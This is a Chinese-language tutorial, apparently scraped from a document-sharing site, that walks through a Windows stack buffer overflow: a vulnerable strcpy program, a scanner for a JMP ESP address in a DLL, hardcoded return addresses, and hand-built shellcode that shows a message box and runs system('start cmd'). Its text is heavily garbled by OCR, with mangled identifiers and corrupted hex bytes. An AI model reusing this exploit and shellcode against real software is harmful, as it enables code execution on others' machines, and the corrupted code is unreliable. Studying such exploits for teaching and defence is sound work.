版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、分析一个buffer overflow漏洞实例什么是缓冲区溢出?缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的 容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输 入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的 储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区乂被称 为”堆栈”.在各个操作进程之间,指令会被临时储存在”堆栈”当中,”堆栈”也会出 现缓冲区溢出。在我们所研究的题目“buffer overflow缓冲区溢出实例分析”,是基于对堆栈 溢出的分析步骤:1、首先我们编写了一个漏洞利用程序。2、漏洞发掘3、She
2、llcode4、利用漏洞堆栈的组成:内存低址,内存高址,正常时的 堆栈情况0 x616263640 x65666768内存低址,内存高址,正常时的 堆栈情况0 x616263640 x65666768EBP的值 原EIP的值堆栈由数据存储区、EBP (栈底指针)、EIP (指令寄存器,指向下一条指 令的地址)编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要 找到这个漏洞,我们需用shellcode进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP),如果EIP指向的下一个地址不存在,那么它就出错,警 告你哪里的指令引用的地址内存不能为“tead”,那么那个地址就是E
3、IP所在的 位子,由于每一个地址空间都是4个字节,所以EBP和EIP都占4个字节,所 以在出错的地址前4个地址就是EBP的地址。为了利用漏洞,我们就必须利用EIP的这个空间,将这个地址用JMP ESP来赋值,这样EIPJMPESP,这样程序执行到了 EIP的地址空间时,就会跳转去执行JMPESP,这样就会执行另一个shellcode的代码,这样我们就利用了缓冲区的漏洞。步骤一、编写一个漏洞分析代码V程序一 #include stdio.h/name 0-name 3 /name 4-name 7 /EBP/EIP#iiiclude Hstrmg.hH #iiiclude Hwmdows.hH
4、char name= ”x61x62x63x64” Hx65x66x67x68H Hx6ax6bx6cx6d Hx6ex6fx71x72n ”x73x74x75x76” ”x77x78x7ax7b”;/name 0-name 3 /name 4-name 7 /EBP/EIPchar output8;LoadLibiai-y(nuser32.dHH); strcpy(output4iame);fbr(int i=0;i#iiiclude#iiicludemt mam() hit iiRetCode=0;bool we_load_it=false; 定义一个 bool 类型的,赋值 false
5、HINSTANCE h;TCHAR dlliiame=_T(nntdir,);h=GetModuleHandle(dlliiame);动态链接库的地址if(h=NULL)(h=LoadLibiaiy(dllname);if(h=NULL)(coutMERROR LOADING DLL:”vdllnamevendl; 输出地址 return 1; we load it=tme;BYTE* ptr=(BYTE*)h; bool done=false;fbr(mt y=0;!done;y+) tryif(ptry=OxFF&ptry+1 =0 xE4) (int pos=(iiit)ptr+y;co
6、utHOPCODE found at OxMhexposendl;)catch(.) 捕获地址 coutHEND OFndlliiameHMEMORY REACHEDHendl; done=tiue; iRwe_load_it) FreeLibrary(h);return iiRetCode; 这样运行后,找到了本机JMP ESP的地址:0 x7c93fcd8所以将EIP的地址改成JMP ESP的地址,那样就能通过这个地址,跳转,执行你想要的 shellcode o步骤3、添加必要的shellcode,执行 ”x33xDBx53x68x66x69x73x68x68x6B6Fx6Fx6B8BxC
7、4x53x50” 弹消息框代码 ”x50 x53 xB8”xeax07xd5x77” /messagebox 在本机的地址” xFFxD0 x53 xB8xFAxCAx81x7CxFFxD0”;将这些shellcode与程序一起写上,那么执行到JNIP ESP的时候就可以执行shellcode 了,这 样就实现了利用缓冲区漏洞。程序如下:include stdio.h#iiiclude Hstring.hH#iiiclude Hwmdows.hHcharname=/MabcdefghijklnmopqrstH;”x61x62x63x64”llx65x66x67x68HMx6ax6bx6cx6d
8、 ”Hxd8xfcx93x7cH”x33xDBx53x68x66x69x73x68*68x6B6Fix6Fx6B8BxC4x53x50”/ 弹消息框代码Hx50 x53xB8MHx8A*xO5xD5x77H /messagebox 在本机的地址”xFF xD0、x53 xB8xFAxCAx81x7CxFFxD0”;hitchar output8;LoadLibiaiy(nuser32.dHn);strcpy(output4iame);fbr(int i=0;i#iiiclude #iiiclude typedefvoid (*MYPROC)(LPTSTR);hitHINSTANCE LibHa
9、ndle;MYPROC Proc Add;LibHandle = LoadLibiaiy(Mmsvcrt.dllM); 得到 nisvcrt 和 system 地址 printffmsvcrt LibHaiidle = x%xn”,LibHandle);prmtf(nLoadLibraiy=/x%xii,LoadLibrary); 得到 LoadLibrary 地址ProcAdd=(MYPROC)GetProcAddress(LibHandle/,systemH);printffsystem = x%xiT, Proc Add);LibHandle = LoadLibiaiy(Muser32.
10、dllH); 得到 user32 和 MessageBoxA 地址 priiitf(niiuser32 LibHandle = x%xiT, LibHandle);ProcAdd=(MYPROC)GetProcAddress(LibHandle/,MessageBoxAn);此处的A是指在wmdows卜,而换成W则在linux卜,去掉则只会显示地址为0 priiitf(nMessageBox = x%xn”,ProcAdd);return 0;这样得到的地址如卜图:c: Evc+ + c+Microsoft Visual StudmMyRrojectsYrnessagemsucrt LibHa
11、ndle = Z/x77be0000LoadLibrary=/x?c801d?b system = /x77bf93c7user32 LibHandle = Z/x77dl0000MessageBox = Z/x77d50?eAPress any key to continue下一个我们要实现的功能是弹出一个dos对话框,首先我们程序为include void main()LoadLibraiy(nmsvcit.dir,);system(Hstart cmdH);exit(0);为了得到准确的机器码,所以接卜来我们需要将这些代码转为汇编语言,那么如何写成汇编语言呢?这里有个一通用的格式:Pus
12、h ebpMov ebp.espXor eax eaxPush eaxMov byte ptiebp-xli,xxLea eax,ebp-xliPush eaxMov eax,0 x函数地址Call eax所以改写程序如下:include void main()_asm 在vc+下是实现汇编,必须用_asm才可以push ebp将栈底指针压入堆栈mov ebp,esp /将堆栈指针指向栈底指针xor eaxeax 将 eax 清零push eax /构建堆栈,一个寄存器四个字节,4的倍数,所以一共三个堆栈push eaxpush eaxmov byte ptr ebp-0ch,6dh /将ni
13、svcit.dll压入堆栈,遵循先进后出的原则 mov byte ptr ebp-Obh,73h 地址依次增大 mov byte ptr ebp-Oah,76h mov byte ptr ebp-O9h,63h mov byte ptr ebp-O8h,72h mov byte ptr ebp-07h,74h mov byte ptr ebp-06h,2eh mov byte ptr ebp-05h.64h mov byte ptr ebp-04h,6ch mov byte ptr ebp-O3h,6ch lea eax,ebp-Och Z/eax 里面装载的是 insvcrt.dll 的地址
14、 push eax mov eax,0 x7c801d7b 这里是本机器中LoadLibrary的地址 call eax/ system(Hstart cmdH); push ebp mov ebp.esp xor edi,edi push edi push edi push edi mov byte ptr ebp-Och,73h mov byte ptr ebp-0bh,74h mov byte ptr ebp-0ah,6Ih mov byte ptr ebp-09h,72h mov byte ptr ebp-08h,74h mov byte ptr ebp-07h,20h mov byt
15、e ptr ebp-06h,63h mov byte ptr ebp-O5h,6dh mov byte ptr ebp-04h,64h lea edi,ebp-Och push edi mov edx,0 x77bf93c7 这是本机器system的地址 call edx exit(O);这样就完成了汇编语言,然后按F1O进入调试界面,调出机器码(Disassembly键)将各个机器码写成shellcode的形式,如下面的程序:#include stdio.h#iiiclude Hstrmg.hH#iiiclude Hwmdows.hHcharname=/Mabcdefghijkliimopq
16、rstH;Hx61x62x63x64M”x65x66*67x68”x6ax6bx6cx6d,f”xd8、xfbx93x7c”x55x8bxecx33xcOx5Ox5Ox5Oxc6x45xf4x6d”xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63”xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e”xc6x45xfbx64xc6x45xfbx6cxc6x45xfdx6c”x8d*45xf4x50 xb8”x7bxldx80 x7c” / LoadLibrary 的地址 HxffxdO”x55x8bxecx33xfTx57x57x57xc6x45xf4x73”xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72”xc6x45xf8x74xc6、x45xf9x20 xc6x45xfax63”xc6x45xfbx6dxc6x45xfbx64x8dx7dxf4x57”,xba“nxc7x93xbfx77H / System 的地址“xffxd2”;hitchar o
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 汽修厂车间安全生产管理制度
- 生产专线管理制度及流程
- 市编办安全生产管理制度
- 食品生产企业检验制度
- 镇安全生产事故通报制度
- 企业安全生产班前会制度
- 生产制造业绩效管理制度
- 印刷包装厂生产管理制度
- 生产单位质量检查制度
- 轧花厂生产服务管理制度
- 保安证考试应试宝典及试题答案
- 630KVA箱变安装工程施工设计方案
- 四川省绵阳市涪城区2024-2025学年九年级上学期1月期末历史试卷(含答案)
- 儿童故事绘本愚公移山课件模板
- IIT临床研究培训
- 空调机组售后服务承诺及人员培训计划
- 第四届全国仪器仪表行业职业技能竞赛-无人机装调检修工(仪器仪表检测)理论考试题库(含答案)
- GB/T 5169.13-2024电工电子产品着火危险试验第13部分:灼热丝/热丝基本试验方法材料的灼热丝起燃温度(GWIT)试验方法
- 中国驴肉行业竞争格局及发展前景预测研究报告(2024-2030)
- 财务负责人信息表
- crtd植入术护理查房
评论
0/150
提交评论